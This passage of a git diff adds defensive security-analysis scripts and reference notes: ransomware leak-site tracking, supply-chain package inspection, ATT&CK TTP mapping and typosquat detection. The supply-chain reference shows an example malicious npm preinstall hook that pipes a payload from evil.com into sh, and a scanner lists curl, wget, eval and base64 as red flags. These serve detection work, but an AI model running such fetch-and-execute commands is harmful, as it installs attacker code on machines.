"disrupted"}, + "cl0p": {"aliases": ["Clop", "TA505"], "status": "active"}, + "play": {"aliases": ["PlayCrypt"], "status": "active"}, + "8base": {"aliases": ["8Base"], "status": "active"}, + "akira": {"aliases": ["Akira"], "status": "active"}, + "bianlian": {"aliases": ["BianLian"], "status": "active"}, + "blackbasta": {"aliases": ["Black Basta"], "status": "active"}, + "medusa": {"aliases": ["MedusaLocker", "Medusa Blog"], "status": "active"}, + "rhysida": {"aliases": ["Rhysida"], "status": "active"}, + "royal": {"aliases": ["Royal", "BlackSuit"], "status": "rebranded"}, + "ransomhub": {"aliases": ["RansomHub"], "status": "active"}, +} + + +def query_ransomwatch_api(): + """Query ransomwatch or ransomware.live API for leak site data.""" + if not HAS_REQUESTS: + return [] + try: + resp = requests.get("https://api.ransomware.live/recentvictims", + timeout=30) + resp.raise_for_status() + return resp.json() + except requests.RequestException as e: + return [{"error": str(e)}] + + +def query_ransomlook_group(group_name): + """Query ransomlook.io API for group information.""" + if not HAS_REQUESTS: + return {} + try: + resp = requests.get(f"https://www.ransomlook.io/api/group/{group_name}", + timeout=30) + resp.raise_for_status() + return resp.json() + except requests.RequestException: + return {} + + +def analyze_victim_data(victims): + """Analyze victim listing data for intelligence.""" + sector_counts = Counter() + country_counts = Counter() + group_counts = Counter() + timeline = defaultdict(int) + + for v in victims: + group = v.get("group_name", v.get("group", "unknown")).lower() + group_counts[group] += 1 + sector = v.get("activity", v.get("sector", "unknown")) + if sector: + sector_counts[sector] += 1 + country = v.get("country", "unknown") + if country: + country_counts[country] += 1 + date_str = v.get("discovered", v.get("published", "")) + if date_str: + try: + dt = datetime.fromisoformat(date_str.replace("Z", "+00:00")) + timeline[dt.strftime("%Y-%m")] += 1 + except (ValueError, TypeError): + pass + + return { + "total_victims": len(victims), + "top_groups": dict(group_counts.most_common(10)), + "top_sectors": dict(sector_counts.most_common(10)), + "top_countries": dict(country_counts.most_common(10)), + "monthly_trend": dict(sorted(timeline.items())), + } + + +def search_victims(victims, query): + """Search victims by name, domain, or sector.""" + results = [] + query_lower = query.lower() + for v in victims: + name = (v.get("victim", v.get("post_title", "")) or "").lower() + website = (v.get("website", "") or "").lower() + sector = (v.get("activity", v.get("sector", "")) or "").lower() + if query_lower in name or query_lower in website or query_lower in sector: + results.append(v) + return results + + +def assess_group_activity(victims, group_name, days=90): + """Assess activity level of a specific ransomware group.""" + cutoff = datetime.now() - timedelta(days=days) + group_victims = [] + for v in victims: + g = (v.get("group_name", v.get("group", "")) or "").lower() + if group_name.lower() in g: + group_victims.append(v) + + recent = [] + for v in group_victims: + date_str = v.get("discovered", v.get("published", "")) + if date_str: + try: + dt = datetime.fromisoformat(date_str.replace("Z", "+00:00")) + if dt.replace(tzinfo=None) > cutoff: + recent.append(v) + except (ValueError, TypeError): + pass + + info = RANSOMWARE_GROUPS.get(group_name.lower(), {}) + return { + "group": group_name, + "aliases": info.get("aliases", []), + "status": info.get("status", "unknown"), + "total_victims": len(group_victims), + "recent_victims": len(recent), + "period_days": days, + "activity_level": "HIGH" if len(recent) > 20 else "MEDIUM" if len(recent) > 5 else "LOW", + } + + +def generate_intelligence_report(victims, target_org=None): + """Generate ransomware threat intelligence report.""" + analysis = analyze_victim_data(victims) + report = { + "report_date": datetime.now().isoformat(), + "data_source": "ransomware.live API", + "analysis": analysis, + } + if target_org: + matches = search_victims(victims, target_org) + report["org_search"] = { + "query": target_org, + "matches": len(matches), + "results": matches[:10], + } + return report + + +if __name__ == "__main__": + print("=" * 60) + print("Ransomware Leak Site Intelligence Agent") + print("Victim tracking, group analysis, sector trends") + print("=" * 60) + + query = sys.argv[1] if len(sys.argv) > 1 else None + + if not HAS_REQUESTS: + print("[!] Install requests: pip install requests") + sys.exit(1) + + print("\n[*] Fetching recent ransomware victims...") + victims = query_ransomwatch_api() + if not victims or (len(victims) == 1 and "error" in victims[0]): + print(f"[!] API error: {victims}") + sys.exit(1) + + print(f"[*] Retrieved {len(victims)} victim entries") + report = generate_intelligence_report(victims, target_org=query) + analysis = report["analysis"] + + print(f"\n--- Top Groups ---") + for g, c in list(analysis["top_groups"].items())[:5]: + print(f" {g:20s} {c} victims") + + print(f"\n--- Top Sectors ---") + for s, c in list(analysis["top_sectors"].items())[:5]: + print(f" {s:30s} {c}") + + print(f"\n--- Top Countries ---") + for co, c in list(analysis["top_countries"].items())[:5]: + print(f" {co:20s} {c}") + + if query: + matches = report.get("org_search", {}) + print(f"\n--- Search: '{query}' ({matches.get('matches', 0)} results) ---") + for m in matches.get("results", [])[:5]: + print(f" {m.get('group_name', '?'):15s} | {m.get('victim', m.get('post_title', '?'))}") + + print(f"\n{json.dumps(report, indent=2, default=str)}") diff --git a/skills/analyzing-security-logs-with-splunk/LICENSE b/skills/analyzing-security-logs-with-splunk/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-security-logs-with-splunk/LICENSE +++ b/skills/analyzing-security-logs-with-splunk/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-slack-space-and-file-system-artifacts/LICENSE b/skills/analyzing-slack-space-and-file-system-artifacts/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-slack-space-and-file-system-artifacts/LICENSE +++ b/skills/analyzing-slack-space-and-file-system-artifacts/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-supply-chain-malware-artifacts/LICENSE b/skills/analyzing-supply-chain-malware-artifacts/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-supply-chain-malware-artifacts/LICENSE +++ b/skills/analyzing-supply-chain-malware-artifacts/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-supply-chain-malware-artifacts/references/api-reference.md b/skills/analyzing-supply-chain-malware-artifacts/references/api-reference.md new file mode 100644 index 00000000..932dc27d --- /dev/null +++ b/skills/analyzing-supply-chain-malware-artifacts/references/api-reference.md @@ -0,0 +1,85 @@ +# API Reference: Supply Chain Malware Analysis + +## npm Registry API + +### Package Metadata +```bash +curl https://registry.npmjs.org/ +curl https://registry.npmjs.org// +``` + +### Response Fields +| Field | Description | +|-------|-------------| +| `dist-tags.latest` | Latest version | +| `versions` | All published versions | +| `maintainers` | Package maintainers | +| `time.created` | First publish date | +| `time.modified` | Last modification | + +## PyPI JSON API + +### Package Info +```bash +curl https://pypi.org/pypi//json +``` + +### Key Fields +| Field | Description | +|-------|-------------| +| `info.author` | Package author | +| `info.version` | Current version | +| `releases` | All versions with artifacts | +| `info.project_urls` | Source code links | + +## Socket.dev - Supply Chain Analysis + +### npm Audit +```bash +socket npm audit +socket npm info +``` + +## Suspicious Package Indicators + +| Indicator | Severity | Description | +|-----------|----------|-------------| +| preinstall/postinstall hooks | HIGH | Code runs during npm install | +| URL/git dependencies | HIGH | Dependencies from non-registry source | +| eval/exec in setup.py | HIGH | Dynamic code execution during pip install | +| Base64 in install scripts | HIGH | Obfuscated payload | +| Recently created package | MEDIUM | New package mimicking popular name | +| Single maintainer | LOW | Bus factor risk | + +## Sigstore/cosign Verification + +### Verify Container Image +```bash +cosign verify --certificate-identity-regexp=".*" \ + --certificate-oidc-issuer-regexp=".*" image:tag +``` + +### Verify Artifact +```bash +cosign verify-blob --signature file.sig --certificate file.crt artifact.tar.gz +``` + +## SLSA Framework Levels + +| Level | Requirement | +|-------|-------------| +| SLSA 1 | Build provenance exists | +| SLSA 2 | Hosted build platform, authenticated provenance | +| SLSA 3 | Hardened build platform, non-falsifiable provenance | +| SLSA 4 | Two-party review, hermetic builds | + +## npm install Hook Risks +```json +{ + "scripts": { + "preinstall": "curl evil.com/payload | sh", + "postinstall": "node ./install.js", + "preuninstall": "node cleanup.js" + } +} +``` diff --git a/skills/analyzing-supply-chain-malware-artifacts/scripts/agent.py b/skills/analyzing-supply-chain-malware-artifacts/scripts/agent.py new file mode 100644 index 00000000..a3a711bf --- /dev/null +++ b/skills/analyzing-supply-chain-malware-artifacts/scripts/agent.py @@ -0,0 +1,168 @@ +#!/usr/bin/env python3 +"""Supply chain malware artifact analysis agent. + +Analyzes software supply chain compromise indicators including package +integrity, build pipeline artifacts, dependency confusion, and trojanized updates. +""" + +import os +import sys +import json +import hashlib +import re +import subprocess +from datetime import datetime + +try: + import requests + HAS_REQUESTS = True +except ImportError: + HAS_REQUESTS = False + + +def compute_hash(filepath): + hashes = {} + for algo in ("md5", "sha1", "sha256"): + h = hashlib.new(algo) + with open(filepath, "rb") as f: + for chunk in iter(lambda: f.read(65536), b""): + h.update(chunk) + hashes[algo] = h.hexdigest() + return hashes + + +def check_npm_package(package_name): + if not HAS_REQUESTS: + return {"error": "requests not installed"} + url = f"https://registry.npmjs.org/{package_name}" + try: + resp = requests.get(url, timeout=15) + resp.raise_for_status() + data = resp.json() + latest = data.get("dist-tags", {}).get("latest", "") + versions = list(data.get("versions", {}).keys()) + maintainers = data.get("maintainers", []) + return { + "name": package_name, "latest": latest, + "version_count": len(versions), + "maintainers": [m.get("name") for m in maintainers], + } + except requests.RequestException as e: + return {"error": str(e)} + + +def check_pypi_package(package_name): + if not HAS_REQUESTS: + return {"error": "requests not installed"} + url = f"https://pypi.org/pypi/{package_name}/json" + try: + resp = requests.get(url, timeout=15) + resp.raise_for_status() + data = resp.json() + info = data.get("info", {}) + return { + "name": info.get("name"), "version": info.get("version"), + "author": info.get("author"), + "release_count": len(data.get("releases", {})), + } + except requests.RequestException as e: + return {"error": str(e)} + + +def detect_typosquat_packages(target_name): + permutations = set() + for i in range(len(target_name)): + permutations.add(target_name[:i] + target_name[i+1:]) + for i in range(len(target_name) - 1): + swapped = list(target_name) + swapped[i], swapped[i+1] = swapped[i+1], swapped[i] + permutations.add("".join(swapped)) + permutations.add(target_name.replace("-", "_")) + permutations.add(target_name.replace("_", "-")) + permutations.discard(target_name) + return sorted(permutations) + + +def analyze_package_scripts(package_json_path): + with open(package_json_path, "r") as f: + pkg = json.load(f) + findings = [] + scripts = pkg.get("scripts", {}) + for hook in ["preinstall", "postinstall", "preuninstall"]: + if hook in scripts: + cmd = scripts[hook] + findings.append({ + "type": "install_hook", "hook": hook, "command": cmd[:200], + "severity": "HIGH" if any(s in cmd.lower() for s in + ["curl", "wget", "eval", "exec", "base64"]) else "MEDIUM", + }) + deps = {**pkg.get("dependencies", {}), **pkg.get("devDependencies", {})} + for dep, ver in deps.items(): + if ver.startswith("http") or ver.startswith("git"): + findings.append({ + "type": "url_dependency", "package": dep, + "source": ver[:200], "severity": "HIGH", + }) + return {"name": pkg.get("name"), "findings": findings} + + +def analyze_python_setup(setup_py_path): + with open(setup_py_path, "r") as f: + content = f.read() + findings = [] + patterns = [ + (r"os\.system\(", "os.system() execution"), + (r"subprocess\.", "subprocess execution"), + (r"exec\(", "exec() code execution"), + (r"eval\(", "eval() code execution"), + (r"base64\.b64decode", "Base64 decoding"), + (r"socket\.", "Network socket usage"), + ] + for pattern, description in patterns: + if re.search(pattern, content): + findings.append({ + "type": "suspicious_setup_code", + "pattern": description, "severity": "HIGH", + }) + return {"file": setup_py_path, "findings": findings} + + +if __name__ == "__main__": + print("=" * 60) + print("Supply Chain Malware Artifact Analysis Agent") + print("Package integrity, typosquat detection, install hook analysis") + print("=" * 60) + + target = sys.argv[1] if len(sys.argv) > 1 else None + if not target: + print(" +[DEMO] Usage:") + print(" python agent.py # Analyze npm package") + print(" python agent.py npm: # Check npm registry") + print(" python agent.py pypi: # Check PyPI registry") + sys.exit(0) + + if target.startswith("npm:"): + pkg_name = target[4:] + print(f" +[*] Checking npm: {pkg_name}") + info = check_npm_package(pkg_name) + typos = detect_typosquat_packages(pkg_name) + print(json.dumps(info, indent=2)) + print(f" + Potential typosquats: {typos[:10]}") + elif target.startswith("pypi:"): + pkg_name = target[5:] + print(f" +[*] Checking PyPI: {pkg_name}") + info = check_pypi_package(pkg_name) + print(json.dumps(info, indent=2)) + elif os.path.exists(target): + basename = os.path.basename(target) + if basename == "package.json": + result = analyze_package_scripts(target) + elif basename == "setup.py": + result = analyze_python_setup(target) + else: + result = {"file": target, "hashes": compute_hash(target)} + print(json.dumps(result, indent=2)) diff --git a/skills/analyzing-threat-actor-ttps-with-mitre-attack/LICENSE b/skills/analyzing-threat-actor-ttps-with-mitre-attack/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-threat-actor-ttps-with-mitre-attack/LICENSE +++ b/skills/analyzing-threat-actor-ttps-with-mitre-attack/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-threat-actor-ttps-with-mitre-attack/references/api-reference.md b/skills/analyzing-threat-actor-ttps-with-mitre-attack/references/api-reference.md new file mode 100644 index 00000000..a7f13406 --- /dev/null +++ b/skills/analyzing-threat-actor-ttps-with-mitre-attack/references/api-reference.md @@ -0,0 +1,89 @@ +# API Reference: Threat Actor TTP Analysis with MITRE ATT&CK + +## ATT&CK STIX Data + +### Download +```bash +curl -o enterprise-attack.json https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json +``` + +### STIX Object Types +| Type | Description | +|------|-------------| +| `attack-pattern` | Techniques and sub-techniques | +| `intrusion-set` | Threat actor groups | +| `relationship` | Links (group "uses" technique) | +| `malware` | Malware families | +| `tool` | Legitimate tools abused | + +## mitreattack-python + +### Installation +```bash +pip install mitreattack-python +``` + +### Query Techniques +```python +from mitreattack.stix20 import MitreAttackData +attack = MitreAttackData("enterprise-attack.json") + +# Get all techniques +techniques = attack.get_techniques() + +# Get group techniques +group = attack.get_group_by_alias("APT29") +techs = attack.get_techniques_used_by_group(group.id) +``` + +### Get Technique Mitigations +```python +mitigations = attack.get_mitigations_mitigating_technique(technique.id) +for m in mitigations: + print(m.name, m.description) +``` + +## ATT&CK Navigator Layer Format + +### Technique Entry +```json +{ + "techniqueID": "T1566.001", + "tactic": "initial-access", + "color": "#ff6666", + "score": 100, + "comment": "Spearphishing Attachment", + "enabled": true +} +``` + +## ATT&CK Tactic IDs + +| Tactic | ID | +|--------|----| +| Reconnaissance | TA0043 | +| Resource Development | TA0042 | +| Initial Access | TA0001 | +| Execution | TA0002 | +| Persistence | TA0003 | +| Privilege Escalation | TA0004 | +| Defense Evasion | TA0005 | +| Credential Access | TA0006 | +| Discovery | TA0007 | +| Lateral Movement | TA0008 | +| Collection | TA0009 | +| Command and Control | TA0011 | +| Exfiltration | TA0010 | +| Impact | TA0040 | + +## TAXII Server Access +```python +from stix2 import TAXIICollectionSource, Filter +from taxii2client.v20 import Collection + +collection = Collection( + "https://cti-taxii.mitre.org/stix/collections/95ecc380-afe9-11e4-9b6c-751b66dd541e/" +) +src = TAXIICollectionSource(collection) +groups = src.query([Filter("type", "=", "intrusion-set")]) +``` diff --git a/skills/analyzing-threat-actor-ttps-with-mitre-attack/scripts/agent.py b/skills/analyzing-threat-actor-ttps-with-mitre-attack/scripts/agent.py new file mode 100644 index 00000000..612bc461 --- /dev/null +++ b/skills/analyzing-threat-actor-ttps-with-mitre-attack/scripts/agent.py @@ -0,0 +1,155 @@ +#!/usr/bin/env python3 +"""Threat actor TTP analysis agent using MITRE ATT&CK framework. + +Maps threat actor behaviors to ATT&CK techniques, performs coverage analysis, +and generates detection gap reports. +""" + +import os +import sys +import json +from collections import Counter, defaultdict + +try: + import requests + HAS_REQUESTS = True +except ImportError: + HAS_REQUESTS = False + +ATTACK_ENTERPRISE_URL = "https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json" + + +def load_attack_bundle(filepath=None): + if filepath and os.path.exists(filepath): + with open(filepath, "r", encoding="utf-8") as f: + return json.load(f) + if HAS_REQUESTS: + resp = requests.get(ATTACK_ENTERPRISE_URL, timeout=60) + resp.raise_for_status() + return resp.json() + return None + + +def get_techniques(bundle): + techniques = {} + for obj in bundle.get("objects", []): + if obj.get("type") == "attack-pattern" and not obj.get("revoked"): + ext_id = "" + for ref in obj.get("external_references", []): + if ref.get("source_name") == "mitre-attack": + ext_id = ref.get("external_id", "") + if ext_id: + tactics = [p["phase_name"] for p in obj.get("kill_chain_phases", [])] + techniques[obj["id"]] = { + "id": ext_id, "name": obj.get("name", ""), + "tactics": tactics, + "platforms": obj.get("x_mitre_platforms", []), + "detection": obj.get("x_mitre_detection", "")[:200], + } + return techniques + + +def get_groups(bundle): + groups = {} + for obj in bundle.get("objects", []): + if obj.get("type") == "intrusion-set": + ext_id = "" + for ref in obj.get("external_references", []): + if ref.get("source_name") == "mitre-attack": + ext_id = ref.get("external_id", "") + groups[obj["id"]] = { + "id": ext_id, "name": obj.get("name", ""), + "aliases": obj.get("aliases", []), + "description": obj.get("description", "")[:300], + } + return groups + + +def map_group_techniques(bundle, group_id, techniques): + ttps = [] + for obj in bundle.get("objects", []): + if (obj.get("type") == "relationship" and + obj.get("relationship_type") == "uses" and + obj.get("source_ref") == group_id): + target = obj.get("target_ref", "") + if target in techniques: + ttps.append(techniques[target]) + return ttps + + +def tactic_coverage(ttps): + tactic_map = defaultdict(list) + for t in ttps: + for tactic in t["tactics"]: + tactic_map[tactic].append(t["id"]) + return {k: {"count": len(v), "techniques": v} for k, v in tactic_map.items()} + + +def detection_gaps(ttps, existing_detections): + covered = set(existing_detections) + gaps = [t for t in ttps if t["id"] not in covered] + coverage = 1 - (len(gaps) / len(ttps)) if ttps else 0 + return gaps, round(coverage * 100, 1) + + +def find_group(groups, query): + query_lower = query.lower() + for gid, g in groups.items(): + if (g["name"].lower() == query_lower or + g["id"].lower() == query_lower or + query_lower in [a.lower() for a in g["aliases"]]): + return gid, g + return None, None + + +if __name__ == "__main__": + print("=" * 60) + print("Threat Actor TTP Analysis Agent (MITRE ATT&CK)") + print("TTP mapping, tactic coverage, detection gap analysis") + print("=" * 60) + + group_query = sys.argv[1] if len(sys.argv) > 1 else None + bundle_path = sys.argv[2] if len(sys.argv) > 2 else None + + bundle = load_attack_bundle(bundle_path) + if not bundle: + print("[!] Cannot load ATT&CK data") + print("[DEMO] Usage: python agent.py APT29 [enterprise-attack.json]") + sys.exit(1) + + techniques = get_techniques(bundle) + groups = get_groups(bundle) + print(f"[*] Loaded {len(techniques)} techniques, {len(groups)} groups") + + if not group_query: + print(" +--- Available Groups (sample) ---") + for gid, g in list(groups.items())[:15]: + print(f" {g['id']:8s} {g['name']}") + sys.exit(0) + + gid, ginfo = find_group(groups, group_query) + if not ginfo: + print(f"[!] Group not found: {group_query}") + sys.exit(1) + + print(f" +[*] Group: {ginfo['name']} ({ginfo['id']})") + print(f" Aliases: {', '.join(ginfo['aliases'][:5])}") + + ttps = map_group_techniques(bundle, gid, techniques) + print(f" Techniques: {len(ttps)}") + + coverage = tactic_coverage(ttps) + print(" +--- Tactic Coverage ---") + for tactic, info in sorted(coverage.items(), key=lambda x: -x[1]["count"]): + bar = "#" * info["count"] + print(f" {tactic:35s} {info['count']:3d} {bar}") + + sample_detections = [t["id"] for t in ttps[:len(ttps)//2]] + gaps, pct = detection_gaps(ttps, sample_detections) + print(f" +--- Detection Gaps (demo: {pct}% coverage) ---") + for g in gaps[:10]: + print(f" [GAP] {g['id']:12s} {g['name']}") diff --git a/skills/analyzing-threat-intelligence-feeds/LICENSE b/skills/analyzing-threat-intelligence-feeds/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-threat-intelligence-feeds/LICENSE +++ b/skills/analyzing-threat-intelligence-feeds/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-threat-intelligence-feeds/scripts/agent.py b/skills/analyzing-threat-intelligence-feeds/scripts/agent.py index ce9e6d69..d6bbfdac 100644 --- a/skills/analyzing-threat-intelligence-feeds/scripts/agent.py +++ b/skills/analyzing-threat-intelligence-feeds/scripts/agent.py @@ -61,7 +61,7 @@ def normalize_to_stix(ioc_value, ioc_type, source_name, confidence=50): pattern_type="stix", valid_from=datetime.utcnow().strftime("%Y-%m-%dT%H:%M:%SZ"), confidence=confidence, - created_by_ref="identity--placeholder", + created_by_ref="identity--f165a29e-a997-5f8a-a63b-4b72b9f2f963", labels=["malicious-activity"], external_references=[{ "source_name": source_name, diff --git a/skills/analyzing-threat-landscape-with-misp/LICENSE b/skills/analyzing-threat-landscape-with-misp/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-threat-landscape-with-misp/LICENSE +++ b/skills/analyzing-threat-landscape-with-misp/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-tls-certificate-transparency-logs/LICENSE b/skills/analyzing-tls-certificate-transparency-logs/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-tls-certificate-transparency-logs/LICENSE +++ b/skills/analyzing-tls-certificate-transparency-logs/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-typosquatting-domains-with-dnstwist/LICENSE b/skills/analyzing-typosquatting-domains-with-dnstwist/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-typosquatting-domains-with-dnstwist/LICENSE +++ b/skills/analyzing-typosquatting-domains-with-dnstwist/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-typosquatting-domains-with-dnstwist/references/api-reference.md b/skills/analyzing-typosquatting-domains-with-dnstwist/references/api-reference.md new file mode 100644 index 00000000..a4d17f31 --- /dev/null +++ b/skills/analyzing-typosquatting-domains-with-dnstwist/references/api-reference.md @@ -0,0 +1,75 @@ +# API Reference: Typosquatting Detection with dnstwist + +## dnstwist CLI + +### Syntax +```bash +dnstwist example.com # Basic scan +dnstwist -r example.com # Resolve DNS +dnstwist -r -f json example.com # JSON output +dnstwist -r -f csv example.com # CSV output +dnstwist -r --ssdeep example.com # Fuzzy hashing comparison +dnstwist -r --phash example.com # Perceptual hash (screenshot) +dnstwist -r -w wordlist.txt example.com # Dictionary-based +dnstwist --nameservers 8.8.8.8 example.com # Custom DNS +``` + +### Fuzzing Techniques +| Technique | Description | +|-----------|-------------| +| Addition | Append character: `examplea.com` | +| Bitsquatting | Bit-flip: `dxample.com` | +| Homoglyph | Lookalike chars: `examp1e.com` | +| Hyphenation | Insert hyphen: `exam-ple.com` | +| Insertion | Insert char: `exaample.com` | +| Omission | Remove char: `examle.com` | +| Repetition | Double char: `exxample.com` | +| Replacement | Keyboard neighbor: `rxample.com` | +| Subdomain | Insert dot: `ex.ample.com` | +| Transposition | Swap chars: `exmaple.com` | +| Vowel-swap | Replace vowel: `exomple.com` | + +### Output Fields +| Field | Description | +|-------|-------------| +| `fuzzer` | Technique used | +| `domain` | Permuted domain | +| `dns_a` | A record IP addresses | +| `dns_aaaa` | AAAA record addresses | +| `dns_mx` | Mail server records | +| `dns_ns` | Nameserver records | +| `geoip` | GeoIP country | +| `whois_registrar` | Domain registrar | +| `ssdeep_score` | Fuzzy hash similarity (0-100) | + +## Python Integration + +### Installation +```bash +pip install dnstwist +``` + +### CLI via subprocess +```python +import subprocess, json +result = subprocess.run( + ["dnstwist", "-r", "-f", "json", "example.com"], + capture_output=True, text=True) +domains = json.loads(result.stdout) +for d in domains: + if d.get("dns_a"): + print(f"{d['domain']} -> {d['dns_a']}") +``` + +## WHOIS Lookup +```python +import whois +w = whois.whois("suspicious-domain.com") +print(w.creation_date, w.registrar) +``` + +## VirusTotal Domain Check +```bash +curl -H "x-apikey: KEY" \ + "https://www.virustotal.com/api/v3/domains/" +``` diff --git a/skills/analyzing-typosquatting-domains-with-dnstwist/scripts/agent.py b/skills/analyzing-typosquatting-domains-with-dnstwist/scripts/agent.py new file mode 100644 index 00000000..0c9e4b2f --- /dev/null +++ b/skills/analyzing-typosquatting-domains-with-dnstwist/scripts/agent.py @@ -0,0 +1,99 @@ +#!/usr/bin/env python3 +"""Typosquatting domain detection agent using dnstwist concepts.""" + +import os, sys, json, socket +from datetime import datetime + +try: + import dnstwist as dnstwist_lib + HAS_DNSTWIST = True +except ImportError: + HAS_DNSTWIST = False + +KEYBOARD_NEIGHBORS = { + 'q': 'wa', 'w': 'qeas', 'e': 'wrds', 'r': 'etfd', 't': 'rygf', + 'y': 'tuhg', 'u': 'yijh', 'i': 'uokj', 'o': 'iplk', 'p': 'ol', + 'a': 'qwsz', 's': 'wedxza', 'd': 'erfcxs', 'f': 'rtgvcd', + 'g': 'tyhbvf', 'h': 'yujnbg', 'j': 'uikmnh', 'k': 'iolmj', + 'l': 'opk', 'z': 'asx', 'x': 'zsdc', 'c': 'xdfv', 'v': 'cfgb', + 'b': 'vghn', 'n': 'bhjm', 'm': 'njk', +} + +def generate_permutations(domain): + name = domain.split('.')[0] + tld = '.'.join(domain.split('.')[1:]) or 'com' + results = set() + for i in range(len(name)): + results.add(name[:i] + name[i+1:] + '.' + tld) + for i in range(len(name) - 1): + s = list(name) + s[i], s[i+1] = s[i+1], s[i] + results.add(''.join(s) + '.' + tld) + for i in range(len(name)): + if name[i] in KEYBOARD_NEIGHBORS: + for c in KEYBOARD_NEIGHBORS[name[i]]: + results.add(name[:i] + c + name[i+1:] + '.' + tld) + homoglyphs = {'o': '0', 'l': '1', 'i': '1', 's': '5', 'a': '4', 'e': '3'} + for i in range(len(name)): + if name[i] in homoglyphs: + results.add(name[:i] + homoglyphs[name[i]] + name[i+1:] + '.' + tld) + for i in range(1, len(name)): + results.add(name[:i] + '-' + name[i:] + '.' + tld) + results.discard(domain) + return sorted(results) + +def resolve_domain(domain): + try: + ips = socket.getaddrinfo(domain, None, socket.AF_INET) + return list(set(ip[4][0] for ip in ips)) + except socket.gaierror: + return [] + +def check_domains(permutations, max_check=200): + results = [] + for domain in permutations[:max_check]: + ips = resolve_domain(domain) + if ips: + results.append({'domain': domain, 'ips': ips, 'registered': True}) + return results + +def run_dnstwist_cli(domain): + import subprocess + try: + result = subprocess.run(['dnstwist', '-r', '-f', 'json', domain], + capture_output=True, text=True, timeout=120) + if result.returncode == 0: + return json.loads(result.stdout) + except (FileNotFoundError, subprocess.TimeoutExpired, json.JSONDecodeError): + pass + return None + +if __name__ == '__main__': + print('=' * 60) + print('Typosquatting Domain Detection Agent (dnstwist)') + print('Permutation generation, DNS resolution, risk scoring') + print('=' * 60) + domain = sys.argv[1] if len(sys.argv) > 1 else None + if not domain: + print(' +[DEMO] Usage: python agent.py ') + sys.exit(0) + print(f' +[*] Target: {domain}') + dnstwist_results = run_dnstwist_cli(domain) + if dnstwist_results: + print(f'[*] dnstwist found {len(dnstwist_results)} permutations') + for r in dnstwist_results[:10]: + a = r.get('dns_a', [''])[0] if r.get('dns_a') else '' + print(f' {r.get("domain", "?"):40s} {a}') + else: + perms = generate_permutations(domain) + print(f'[*] Generated {len(perms)} permutations') + print('[*] Resolving domains...') + resolved = check_domains(perms) + print(f'[*] Active typosquats: {len(resolved)}') + for r in resolved[:15]: + print(f' {r["domain"]:40s} {", ".join(r["ips"])}') + risk = 'HIGH' if len(resolved) > 20 else 'MEDIUM' if len(resolved) > 5 else 'LOW' + print(f' +[*] Risk: {risk}') diff --git a/skills/analyzing-usb-device-connection-history/LICENSE b/skills/analyzing-usb-device-connection-history/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-usb-device-connection-history/LICENSE +++ b/skills/analyzing-usb-device-connection-history/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-web-server-logs-for-intrusion/LICENSE b/skills/analyzing-web-server-logs-for-intrusion/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-web-server-logs-for-intrusion/LICENSE +++ b/skills/analyzing-web-server-logs-for-intrusion/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/analyzing-windows-event-logs-in-splunk/LICENSE b/skills/analyzing-windows-event-logs-in-splunk/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/analyzing-windows-event-logs-in-splunk/LICENSE +++ b/skills/analyzing-windows-event-logs-in-splunk/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and 